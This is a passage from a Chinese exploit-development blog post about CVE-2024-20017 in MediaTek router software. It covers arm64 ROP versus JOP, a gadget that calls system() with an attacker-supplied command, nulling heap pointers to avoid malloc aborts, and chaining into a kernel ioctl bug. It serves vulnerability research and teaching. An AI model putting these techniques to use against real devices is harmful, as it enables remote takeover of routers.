我们来谈谈这个ROP gadget和arm64与x86平台上的ROP的不同之处。如前所述,arm64与x86平台上的返回语义不同,这意味着gadget的工作方式也有所不同。特别是,arm64中的ROP gadgets不仅需要以ret
结尾才能有用;它们必须以正确的堆栈操作结尾,以便在执行ret
之前将下一个堆栈值弹出到x30
中。这与arm64中有更多的通用寄存器相比x86的情况相结合,意味着在arm64上找到可以控制寄存器的gadget并且同时正确设置ret
的可能性比x86要低得多,在x86上只有少数几个寄存器被使用,并且在ret
时会自动使用堆栈上的下一个值。
不过,在最终的漏洞利用中使用的gadget实际上是一个JOP(Jump Oriented Programming)gadget,因此我们完全避免了ret
的问题。与使用ret
来重定向执行不同,JOP gadgets直接跳转到寄存器中存储的值。当执行被重定向到gadget时,我们能够控制一些寄存器,其中两个是x22
和x24
,因此我们能够使用以下gadget,它只是将x24
中的值移到x0
(用于传递给函数的第一个参数的寄存器)中,然后跳转到x22
中的地址:
mov x0, x24; # 我们将在x24中放入shell命令字符串的地址
blr x22; # 并将`system()`的地址放入x22中
回到漏洞利用的剩余部分,唯一需要做的另一件事是破坏pPktBuf
、pCmdBuf
和pRspBuf
指针,将它们每一个设置为NULL。我们这样做是因为在IAPP_RcvHandler()
的末尾,在返回并使用我们损坏的返回地址之前,这些指针将被传递给free()
函数。如果它们仍然指向我们设置的先前位置,我们将触发libc malloc的安全检查并在我们能够重定向执行之前触发abort()
。
有了所有这些,我们就达到了“应许之地”:
额外奖励:通过JOP执行任意IOCTL调用来触发内核漏洞
作为最后的奖励,如果你能为两个完全独立的漏洞编写一个漏洞利用程序,会怎么样?比如,如果内核驱动程序中存在一个只能本地访问的漏洞,而在网络服务中有一个可以远程利用的漏洞…?嗯,你可能需要做一些古怪的事情,比如使用JOP链来打开一个新套接字,在内存中构造一个iwreq
结构传递给内核,设置参数,并触发对ioctl()
的调用。但如果你能找到方法…
为什么要这样做,而不是直接使用命令执行来下载并运行内核漏洞利用程序?只是为了证明你可以 😉
总结
这篇文章最终比我最初预期的要长得多!我希望在此过程中提供了足够的信息,而不会让它变得乏味或(过于)令人困惑。我也希望这对那些希望了解更多漏洞利用开发的人有所帮助,并且它可以提供对在不同情况下采取不同方法的见解。利用堆栈缓冲区溢出在所有代码库中基本相同——让它变得有趣和具有挑战性的是溢出周围的所有其他因素。这就像在一个复杂的拼图上工作,没有保证所有的拼图块都能拼合在一起,但也有不止一种方法可以解决它。这就是漏洞利用开发对我来说有趣的原因,也是为什么我会为了同一个漏洞编写4种不同的漏洞利用程序。这种事情确实会让你有点抓狂,哈哈。
参考资料
-
Exploit code -
NVD – CVE-2024-20017 -
MediaTek March 2024 Advisory -
Fuzzotron -
OpenWrt MT7622 images page
原文始发于微信公众号(3072):CVE-2024-20017 的四种利用方式